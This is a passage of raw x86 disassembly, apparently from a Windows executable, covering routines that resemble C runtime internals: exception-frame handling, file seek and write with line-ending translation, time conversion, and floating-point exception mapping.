proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 2670000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2790000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2690DCCh jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2690DCCh mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2700000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2690DCCh mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi nop call near ptr 2660000h test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2850000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2850000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2840000h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: 